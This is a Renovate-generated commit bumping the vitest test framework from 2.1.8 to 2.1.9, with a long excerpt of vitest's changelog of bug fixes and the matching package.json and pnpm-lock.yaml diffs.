[(12e70)](https://redirect.github.com/vitest-dev/vitest/commit/12e702bd) - Allow inlining vite's cached dependencies  -  by [@​chriswheeldon-peakon](https://redirect.github.com/chriswheeldon-peakon) in [https://github.com/vitest-dev/vitest/issues/6284](https://redirect.github.com/vitest-dev/vitest/issues/6284) [(03208)](https://redirect.github.com/vitest-dev/vitest/commit/03208017) - Print unexpected error message if peer dependencies have a different version  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6446](https://redirect.github.com/vitest-dev/vitest/issues/6446) [(b992b)](https://redirect.github.com/vitest-dev/vitest/commit/b992b346) - Ignore importer when resolving Vitest  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6469](https://redirect.github.com/vitest-dev/vitest/issues/6469) [(0b447)](https://redirect.github.com/vitest-dev/vitest/commit/0b447226) - `expect.getState().testPath` always returns correct path  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6472](https://redirect.github.com/vitest-dev/vitest/issues/6472) [(ac698)](https://redirect.github.com/vitest-dev/vitest/commit/ac698b1c) - UserEvent works consistently between providers  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6480](https://redirect.github.com/vitest-dev/vitest/issues/6480) [(0b4da)](https://redirect.github.com/vitest-dev/vitest/commit/0b4da69e) - Move `Vitest.setServer` to post `configureServer` hook to enable import analysis for workspace config loading  -  by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6584](https://redirect.github.com/vitest-dev/vitest/issues/6584) [(e7f35)](https://redirect.github.com/vitest-dev/vitest/commit/e7f35214) - Fix error diff of `toBeNaN, toBeUndefined, toBeNull, toBeTruthy, toBeFalsy`  -  by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6697](https://redirect.github.com/vitest-dev/vitest/issues/6697) [(e0027)](https://redirect.github.com/vitest-dev/vitest/commit/e002758c) - Don't normalize drive case letter in root  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6792](https://redirect.github.com/vitest-dev/vitest/issues/6792) [(b28cd)](https://redirect.github.com/vitest-dev/vitest/commit/b28cd2e3) - `dangerouslyIgnoreUnhandledErrors` without base reporter  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6808](https://redirect.github.com/vitest-dev/vitest/issues/6808) [(0bf0a)](https://redirect.github.com/vitest-dev/vitest/commit/0bf0ab00) - Capture `unhandledRejection` even when base reporter is not used  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6812](https://redirect.github.com/vitest-dev/vitest/issues/6812) [(8878b)](https://redirect.github.com/vitest-dev/vitest/commit/8878b04d) - Don't change the working directory when loading workspace projects  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6811](https://redirect.github.com/vitest-dev/vitest/issues/6811) [(f0aea)](https://redirect.github.com/vitest-dev/vitest/commit/f0aeaca8) - Remove `sequence.concurrent` from the `RuntimeConfig` type  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6880](https://redirect.github.com/vitest-dev/vitest/issues/6880) [(6af73)](https://redirect.github.com/vitest-dev/vitest/commit/6af73d93) - Stop the runner before restarting, restart on workspace config change  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6859](https://redirect.github.com/vitest-dev/vitest/issues/6859) [(b01df)](https://redirect.github.com/vitest-dev/vitest/commit/b01df47d) - Don't rerun on Esc or Ctrl-C during watch filter  -  by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6895](https://redirect.github.com/vitest-dev/vitest/issues/6895) [(98f76)](https://redirect.github.com/vitest-dev/vitest/commit/98f76ea7) - Print ssrTransform error  -  by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6885](https://redirect.github.com/vitest-dev/vitest/issues/6885) [(4c96c)](https://redirect.github.com/vitest-dev/vitest/commit/4c96cce7) - Throw an error and a warning if `.poll`, `.element`, `.rejects`/`.resolves`, and `locator.*` weren't awaited  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6877](https://redirect.github.com/vitest-dev/vitest/issues/6877) [(93b67)](https://redirect.github.com/vitest-dev/vitest/commit/93b67c24) - Revert support for Vite 6  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(fbe5c)](https://redirect.github.com/vitest-dev/vitest/commit/fbe5c39d) - Support Node 21  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(92f7a)](https://redirect.github.com/vitest-dev/vitest/commit/92f7a2ad) - Backport [#​7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) to v2  -  by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7318](https://redirect.github.com/vitest-dev/vitest/issues/7318) and [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [(e0fe1)](https://redirect.github.com/vitest-dev/vitest/commit/e0fe1d81) - Backport [#​7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) to v1  -  by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7319](https://redirect.github.com/vitest-dev/vitest/issues/7319) and [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [(7ce9f)](https://redirect.github.com/vitest-dev/vitest/commit/7ce9fbb4) - **api**: - Correct `project.provide` type  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5959](https://redirect.github.com/vitest-dev/vitest/issues/5959) [(0eda9)](https://redirect.github.com/vitest-dev/vitest/commit/0eda99de) - Don't call process.exit manually  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5926](https://redirect.github.com/vitest-dev/vitest/issues/5926) [(e9b63)](https://redirect.github.com/vitest-dev/vitest/commit/e9b638d4) - **benchmark**: - Clear `BenchmarkResult.samples` array to reduce memory usage  -  by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6541](https://redirect.github.com/vitest-dev/vitest/issues/6541) [(a6407)](https://redirect.github.com/vitest-dev/vitest/commit/a6407afc) - **browser**: - Display UI  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(d41e4)](https://redirect.github.com/vitest-dev/vitest/commit/d41e46a8) - Browser actions icons colors  -  by [@​userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/5816](https://redirect.github.com/vitest-dev/vitest/issues/5816) [(f9d9b)](https://redirect.github.com/vitest-dev/vitest/commit/f9d9b3be) - Restore the original viewport when unselecting the preset viewport  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5821](https://redirect.github.com/vitest-dev/vitest/issues/5821) [(5ebb3)](https://redirect.github.com/vitest-dev/vitest/commit/5ebb3abf) - Don't get stuck after the manual page refresh  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(2220b)](https://redirect.github.com/vitest-dev/vitest/commit/2220bb3f) - Use iframe id instead of calculating it from filenames  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5823](https://redirect.github.com/vitest-dev/vitest/issues/5823) [(34a31)](https://redirect.github.com/vitest-dev/vitest/commit/34a310da) - Always clean up iframes on rerun  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5827](https://redirect.github.com/vitest-dev/vitest/issues/5827) [(087fa)](https://redirect.github.com/vitest-dev/vitest/commit/087fa87c) - Support [@​testing-library/vue](https://redirect.github.com/testing-library/vue) in browser mode out of the box  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(76b82)](https://redirect.github.com/vitest-dev/vitest/commit/76b82e5b) - Print correct transformed module graph  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5833](https://redirect.github.com/vitest-dev/vitest/issues/5833) [(a7581)](https://redirect.github.com/vitest-dev/vitest/commit/a7581575) - Use `preview` provider when running in StackBlitz  -  by [@​userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/5836](https://redirect.github.com/vitest-dev/vitest/issues/5836) [(76e13)](https://redirect.github.com/vitest-dev/vitest/commit/76e13587) - Specify entries for correct deps optimization  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5839](https://redirect.github.com/vitest-dev/vitest/issues/5839) [(c79b3)](https://redirect.github.com/vitest-dev/vitest/commit/c79b3f1f) - Allow iframe to load even if there is a custom CSP header  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5841](https://redirect.github.com/vitest-dev/vitest/issues/5841) [(caaaf)](https://redirect.github.com/vitest-dev/vitest/commit/caaafd90) - Don't optimize Vitest dependencies  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5843](https://redirect.github.com/vitest-dev/vitest/issues/5843) [(f15b4)](https://redirect.github.com/vitest-dev/vitest/commit/f15b4e99) - Set server.open to false and move error handling after init  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5845](https://redirect.github.com/vitest-dev/vitest/issues/5845) [(47003)](https://redirect.github.com/vitest-dev/vitest/commit/47003679) - Show correct prepare time  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5852](https://redirect.github.com/vitest-dev/vitest/issues/5852) [(52d54)](https://redirect.github.com/vitest-dev/vitest/commit/52d545bf) - Resolve `coverage.reporter` from string values  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/5920](https://redirect.github.com/vitest-dev/vitest/issues/5920) [(f33da)](https://redirect.github.com/vitest-dev/vitest/commit/f33dabbe) - Correctly update inline snapshot if changed  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5925](https://redirect.github.com/vitest-dev/vitest/issues/5925) [(2380c)](https://redirect.github.com/vitest-dev/vitest/commit/2380cb95) - Remove "util" warning  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5935](https://redirect.github.com/vitest-dev/vitest/issues/5935) [(48f28)](https://redirect.github.com/vitest-dev/vitest/commit/48f28f73) - Remove hacky retry  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5971](https://redirect.github.com/vitest-dev/vitest/issues/5971) [(2a2c9)](https://redirect.github.com/vitest-dev/vitest/commit/2a2c9085) - Make userEvent more stable when running in parallel  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5974](https://redirect.github.com/vitest-dev/vitest/issues/5974) [(14a21)](https://redirect.github.com/vitest-dev/vitest/commit/14a217d5) - Print screenshot path alongside the test error message  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5992](https://redirect.github.com/vitest-dev/vitest/issues/5992) [(15289)](https://redirect.github.com/vitest-dev/vitest/commit/152891b3) - Print correct stack trace in source files  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6003](https://redirect.github.com/vitest-dev/vitest/issues/6003) [(62aa7)](https://redirect.github.com/vitest-dev/vitest/commit/62aa7208) - Correctly mock optimized cjs dependencies  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6035](https://redirect.github.com/vitest-dev/vitest/issues/6035) [(057b4)](https://redirect.github.com/vitest-dev/vitest/commit/057b4f34) - Support shadow root and svg elements  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6036](https://redirect.github.com/vitest-dev/vitest/issues/6036) [(2e3c8)](https://redirect.github.com/vitest-dev/vitest/commit/2e3c872a) - Correctly inherit browser config in a workspace  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6054](https://redirect.github.com/vitest-dev/vitest/issues/6054) [(4b03e)](https://redirect.github.com/vitest-dev/vitest/commit/4b03e72b) - Remove [@​vitest/runner](https://redirect.github.com/vitest/runner) > pretty-format from prebundling because it doesn't exist  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6075](https://redirect.github.com/vitest-dev/vitest/issues/6075) [(a169d)](https://redirect.github.com/vitest-dev/vitest/commit/a169d25a) - Inline pretty-format and replace picocolors with tinyrainbow  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6077](https://redirect.github.com/vitest-dev/vitest/issues/6077) [(80a43)](https://redirect.github.com/vitest-dev/vitest/commit/80a43d5c) - Remove `crypto.randomUUID` from the client  -  by [@​userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/6079](https://redirect.github.com/vitest-dev/vitest/issues/6079) [(04c83)](https://redirect.github.com/vitest-dev/vitest/commit/04c83acc) - Correctly overwrite loupe require  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(756ac)](https://redirect.github.com/vitest-dev/vitest/commit/756ac2bc) - Dedupe @​vitest/browser/client  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6081](https://redirect.github.com/vitest-dev/vitest/issues/6081) [(ee725)](https://redirect.github.com/vitest-dev/vitest/commit/ee725184) - Don't release keyboard automatically  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6083](https://redirect.github.com/vitest-dev/vitest/issues/6083) [(58fac)](https://redirect.github.com/vitest-dev/vitest/commit/58fac77b) - Don't import from "vite"  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(35655)](https://redirect.github.com/vitest-dev/vitest/commit/35655419) - Allow immidiate reinvalidation of mocked dependencies  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6108](https://redirect.github.com/vitest-dev/vitest/issues/6108) [(f44cc)](https://redirect.github.com/vitest-dev/vitest/commit/f44cc917) - Don't panic if [@​vitest/browser](https://redirect.github.com/vitest/browser) is installed outside of project root  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6135](https://redirect.github.com/vitest-dev/vitest/issues/6135) [(ccfcd)](https://redirect.github.com/vitest-dev/vitest/commit/ccfcd488) - Set global filepath  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6190](https://redirect.github.com/vitest-dev/vitest/issues/6190) [(0d0b4)](https://redirect.github.com/vitest-dev/vitest/commit/0d0b46b1) - Don't bundle `afterEach` cleanup hooks in node entrypoint  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6192](https://redirect.github.com/vitest-dev/vitest/issues/6192) [(e6fbc)](https://redirect.github.com/vitest-dev/vitest/commit/e6fbc620) - UserEvent.setup initiates a separate state for userEvent instance  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6088](https://redirect.github.com/vitest-dev/vitest/issues/6088) [(883f3)](https://redirect.github.com/vitest-dev/vitest/commit/883f3482) - Don't inject empty `process` global  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6213](https://redirect.github.com/vitest-dev/vitest/issues/6213) [(1affb)](https://redirect.github.com/vitest-dev/vitest/commit/1affb995) - Don't inject empty `process` global "  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6213](https://redirect.github.com/vitest-dev/vitest/issues/6213) [(9069b)](https://redirect.github.com/vitest-dev/vitest/commit/9069bdcd) - Correctly import optimized module in vi.importActual  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6219](https://redirect.github.com/vitest-dev/vitest/issues/6219) [(804ff)](https://redirect.github.com/vitest-dev/vitest/commit/804ff2fd) - Passing options to hover/unhover  -  by [@​mneveroff](https://redirect.github.com/mneveroff) in [https://github.com/vitest-dev/vitest/issues/6175](https://redirect.github.com/vitest-dev/vitest/issues/6175) [(d4c00)](https://redirect.github.com/vitest-dev/vitest/commit/d4c005bc) - Improve unique CSS selector generation  -  by [@​zacharyvoase](https://redirect.github.com/zacharyvoase) and **Zack Voase** in [https://github.com/vitest-dev/vitest/issues/6243](https://redirect.github.com/vitest-dev/vitest/issues/6243) [(e7acd)](https://redirect.github.com/vitest-dev/vitest/commit/e7acd0cf) - Print correct stack trace for unhandled errors  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6134](https://redirect.github.com/vitest-dev/vitest/issues/6134) [(1da6c)](https://redirect.github.com/vitest-dev/vitest/commit/1da6cebe) - Use documentElement as the root for selector  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(d8077)](https://redirect.github.com/vitest-dev/vitest/commit/d807767f) - Keep querying elements even if locator is created with elementLocator, add pubic @​vitest/browser/utils  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6296](https://redirect.github.com/vitest-dev/vitest/issues/6296) [(30dc5)](https://redirect.github.com/vitest-dev/vitest/commit/30dc5793) - Produce valid config file if preview provider is used  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6305](https://redirect.github.com/vitest-dev/vitest/issues/6305) [(7f0ae)](https://redirect.github.com/vitest-dev/vitest/commit/7f0ae292) - Correctly run in-source tests in the browser  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6440](https://redirect.github.com/vitest-dev/vitest/issues/6440) [(c8531)](https://redirect.github.com/vitest-dev/vitest/commit/c853126e) - Exclude missed packages from optimization, print help message  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6445](https://redirect.github.com/vitest-dev/vitest/issues/6445) [(8d883)](https://redirect.github.com/vitest-dev/vitest/commit/8d883cf0) - Define mocker as a dependency  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6476](https://redirect.github.com/vitest-dev/vitest/issues/6476) [(9560a)](https://redirect.github.com/vitest-dev/vitest/commit/9560ab7f) - Make example test callbacks async  -  by [@​aqandrew](https://redirect.github.com/aqandrew) in [https://github.com/vitest-dev/vitest/issues/6484](https://redirect.github.com/vitest-dev/vitest/issues/6484) [(16aa7)](https://redirect.github.com/vitest-dev/vitest/commit/16aa76c2) - Optimize vitest-browser-vue correctly  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6490](https://redirect.github.com/vitest-dev/vitest/issues/6490) [(5cbb0)](https://redirect.github.com/vitest-dev/vitest/commit/5cbb0bba) - Fix dynamic import inside worker  -  by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6569](https://redirect.github.com/vitest-dev/vitest/issues/6569) [(ea2d4)](https://redirect.github.com/vitest-dev/vitest/commit/ea2d429b) - Fix browser mock factory event race condition  -  by [@​hi-ogawa](https://redi
--- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- package.json | 2 +- pnpm-lock.yaml | 96 +++++++++++++++++++++++++------------------------- 2 files changed, 49 insertions(+), 49 deletions(-) diff --git a/package.json b/package.json index 21f6f53..9c794ab 100644 --- a/package.json +++ b/package.json @@ -50,7 +50,7 @@ "trigram-utils": "2.0.1", "tsx": "4.19.2", "typescript": "5.7.2", - "vitest": "2.1.8", + "vitest": "2.1.9", "zx": "8.2.4" }, "engines": { diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index d0f3152..fe35f8f 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -86,7 +86,7 @@ importers: version: 8.18.0(eslint@9.17.0(jiti@2.4.1))(typescript@5.7.2) '@vitest/coverage-v8': specifier: 2.1.8 - version: 2.1.8(vitest@2.1.8(@types/node@22.10.2)) + version: 2.1.8(vitest@2.1.9(@types/node@22.10.2)) eslint: specifier: 9.17.0 version: 9.17.0(jiti@2.4.1) @@ -130,8 +130,8 @@ importers: specifier: 5.7.2 version: 5.7.2 vitest: - specifier: 2.1.8 - version: 2.1.8(@types/node@22.10.2) + specifier: 2.1.9 + version: 2.1.9(@types/node@22.10.2) zx: specifier: 8.2.4 version: 8.2.4 @@ -1118,11 +1118,11 @@ packages: '@vitest/browser': optional: true - '@vitest/expect@2.1.8': - resolution: {integrity: sha512-8ytZ/fFHq2g4PJVAtDX57mayemKgDR6X3Oa2Foro+EygiOJHUXhCqBAAKQYYajZpFoIfvBCF1j6R6IYRSIUFuw==} + '@vitest/expect@2.1.9': + resolution: {integrity: sha512-UJCIkTBenHeKT1TTlKMJWy1laZewsRIzYighyYiJKZreqtdxSos/S1t+ktRMQWu2CKqaarrkeszJx1cgC5tGZw==} - '@vitest/mocker@2.1.8': - resolution: {integrity: sha512-7guJ/47I6uqfttp33mgo6ga5Gr1VnL58rcqYKyShoRK9ebu8T5Rs6HN3s1NABiBeVTdWNrwUMcHH54uXZBN4zA==} + '@vitest/mocker@2.1.9': + resolution: {integrity: sha512-tVL6uJgoUdi6icpxmdrn5YNo3g3Dxv+IHJBr0GXHaEdTcw3F+cPKnsXFhli6nO+f/6SDKPHEK1UN+k+TQv0Ehg==} peerDependencies: msw: ^2.4.9 vite: ^5.0.0 @@ -1132,20 +1132,20 @@ packages: vite: optional: true - '@vitest/pretty-format@2.1.8': - resolution: {integrity: sha512-9HiSZ9zpqNLKlbIDRWOnAWqgcA7xu+8YxXSekhr0Ykab7PAYFkhkwoqVArPOtJhPmYeE2YHgKZlj3CP36z2AJQ==} + '@vitest/pretty-format@2.1.9': + resolution: {integrity: sha512-KhRIdGV2U9HOUzxfiHmY8IFHTdqtOhIzCpd8WRdJiE7D/HUcZVD0EgQCVjm+Q9gkUXWgBvMmTtZgIG48wq7sOQ==} - '@vitest/runner@2.1.8': - resolution: {integrity: sha512-17ub8vQstRnRlIU5k50bG+QOMLHRhYPAna5tw8tYbj+jzjcspnwnwtPtiOlkuKC4+ixDPTuLZiqiWWQ2PSXHVg==} + '@vitest/runner@2.1.9': + resolution: {integrity: sha512-ZXSSqTFIrzduD63btIfEyOmNcBmQvgOVsPNPe0jYtESiXkhd8u2erDLnMxmGrDCwHCCHE7hxwRDCT3pt0esT4g==} - '@vitest/snapshot@2.1.8': - resolution: {integrity: sha512-20T7xRFbmnkfcmgVEz+z3AU/3b0cEzZOt/zmnvZEctg64/QZbSDJEVm9fLnnlSi74KibmRsO9/Qabi+t0vCRPg==} + '@vitest/snapshot@2.1.9': + resolution: {integrity: sha512-oBO82rEjsxLNJincVhLhaxxZdEtV0EFHMK5Kmx5sJ6H9L183dHECjiefOAdnqpIgT5eZwT04PoggUnW88vOBNQ==} - '@vitest/spy@2.1.8': - resolution: {integrity: sha512-5swjf2q95gXeYPevtW0BLk6H8+bPlMb4Vw/9Em4hFxDcaOxS+e0LOX4yqNxoHzMR2akEB2xfpnWUzkZokmgWDg==} + '@vitest/spy@2.1.9': + resolution: {integrity: sha512-E1B35FwzXXTs9FHNK6bDszs7mtydNi5MIfUWpceJ8Xbfb1gBMscAnwLbEu+B44ed6W3XjL9/ehLPHR1fkf1KLQ==} - '@vitest/utils@2.1.8': - resolution: {integrity: sha512-dwSoui6djdwbfFmIgbIjX2ZhIoG7Ex/+xpxyiEgIGzjliY8xGkcpITKTlp6B4MgtGkF2ilvm97cPM96XZaAgcA==} + '@vitest/utils@2.1.9': + resolution: {integrity: sha512-v0psaMSkNJ3A2NMrUEHFRzJtDPFn+/VWZ5WxImB21T9fjucJRmS7xCS3ppEnARb9y11OAzaD+P2Ps+b+BGX5iQ==} '@zkochan/js-yaml@0.0.7': resolution: {integrity: sha512-nrUSn7hzt7J6JWgWGz78ZYI8wj+gdIJdk0Ynjpp8l+trkn58Uqsf6RYrYkEK+3X18EX+TNdtJI0WxAtc+L84SQ==} @@ -2834,8 +2834,8 @@ packages: resolution: {integrity: sha512-OljLrQ9SQdOUqTaQxqL5dEfZWrXExyyWsozYlAWFawPVNuD83igl7uJD2RTkNMbniIYgt8l81eCJGIdQF7avLQ==} engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - vite-node@2.1.8: - resolution: {integrity: sha512-uPAwSr57kYjAUux+8E2j0q0Fxpn8M9VoyfGiRI8Kfktz9NcYMCenwY5RnZxnF1WTu3TGiYipirIzacLL3VVGFg==} + vite-node@2.1.9: + resolution: {integrity: sha512-AM9aQ/IPrW/6ENLQg3AGY4K1N2TGZdR5e4gu/MmmR2xR3Ll1+dib+nook92g4TV3PXVyeyxdWwtaCAiUL0hMxA==} engines: {node: ^18.0.0 || >=20.0.0} hasBin: true @@ -2870,15 +2870,15 @@ packages: terser: optional: true - vitest@2.1.8: - resolution: {integrity: sha512-1vBKTZskHw/aosXqQUlVWWlGUxSJR8YtiyZDJAFeW2kPAeX6S3Sool0mjspO+kXLuxVWlEDDowBAeqeAQefqLQ==} + vitest@2.1.9: + resolution: {integrity: sha512-MSmPM9REYqDGBI8439mA4mWhV5sKmDlBKWIYbA3lRb2PTHACE0mgKwA8yQ2xq9vxDTuk4iPrECBAEW2aoFXY0Q==} engines: {node: ^18.0.0 || >=20.0.0} hasBin: true peerDependencies: '@edge-runtime/vm': '*' '@types/node': ^18.0.0 || >=20.0.0 - '@vitest/browser': 2.1.8 - '@vitest/ui': 2.1.8 + '@vitest/browser': 2.1.9 + '@vitest/ui': 2.1.9 happy-dom: '*' jsdom: '*' peerDependenciesMeta: @@ -3846,7 +3846,7 @@ snapshots: '@typescript-eslint/types': 8.18.0 eslint-visitor-keys: 4.2.0 - '@vitest/coverage-v8@2.1.8(vitest@2.1.8(@types/node@22.10.2))': + '@vitest/coverage-v8@2.1.8(vitest@2.1.9(@types/node@22.10.2))': dependencies: '@ampproject/remapping': 2.3.0 '@bcoe/v8-coverage': 0.2.3 @@ -3860,47 +3860,47 @@ snapshots: std-env: 3.8.0 test-exclude: 7.0.1 tinyrainbow: 1.2.0 - vitest: 2.1.8(@types/node@22.10.2) + vitest: 2.1.9(@types/node@22.10.2) transitivePeerDependencies: - supports-color - '@vitest/expect@2.1.8': + '@vitest/expect@2.1.9': dependencies: - '@vitest/spy': 2.1.8 - '@vitest/utils': 2.1.8 + '@vitest/spy': 2.1.9 + '@vitest/utils': 2.1.9 chai: 5.1.2 tinyrainbow: 1.2.0 - '@vitest/mocker@2.1.8(vite@5.4.11(@types/node@22.10.2))': + '@vitest/mocker@2.1.9(vite@5.4.11(@types/node@22.10.2))': dependencies: - '@vitest/spy': 2.1.8 + '@vitest/spy': 2.1.9 estree-walker: 3.0.3 magic-string: 0.30.15 optionalDependencies: vite: 5.4.11(@types/node@22.10.2) - '@vitest/pretty-format@2.1.8': + '@vitest/pretty-format@2.1.9': dependencies: tinyrainbow: 1.2.0 - '@vitest/runner@2.1.8': + '@vitest/runner@2.1.9': dependencies: - '@vitest/utils': 2.1.8 + '@vitest/utils': 2.1.9 pathe: 1.1.2 - '@vitest/snapshot@2.1.8': + '@vitest/snapshot@2.1.9': dependencies: - '@vitest/pretty-format': 2.1.8 + '@vitest/pretty-format': 2.1.9 magic-string: 0.30.15 pathe: 1.1.2 - '@vitest/spy@2.1.8': + '@vitest/spy@2.1.9': dependencies: tinyspy: 3.0.2 - '@vitest/utils@2.1.8': + '@vitest/utils@2.1.9': dependencies: - '@vitest/pretty-format': 2.1.8 + '@vitest/pretty-format': 2.1.9 loupe: 3.1.2 tinyrainbow: 1.2.0 @@ -5621,7 +5621,7 @@ snapshots: validate-npm-package-name@5.0.1: {} - vite-node@2.1.8(@types/node@22.10.2): + vite-node@2.1.9(@types/node@22.10.2): dependencies: cac: 6.7.14 debug: 4.4.0 @@ -5648,15 +5648,15 @@ snapshots: '@types/node': 22.10.2 fsevents: 2.3.3 - vitest@2.1.8(@types/node@22.10.2): + vitest@2.1.9(@types/node@22.10.2): dependencies: - '@vitest/expect': 2.1.8 - '@vitest/mocker': 2.1.8(vite@5.4.11(@types/node@22.10.2)) - '@vitest/pretty-format': 2.1.8 - '@vitest/runner': 2.1.8 - '@vitest/snapshot': 2.1.8 - '@vitest/spy': 2.1.8 - 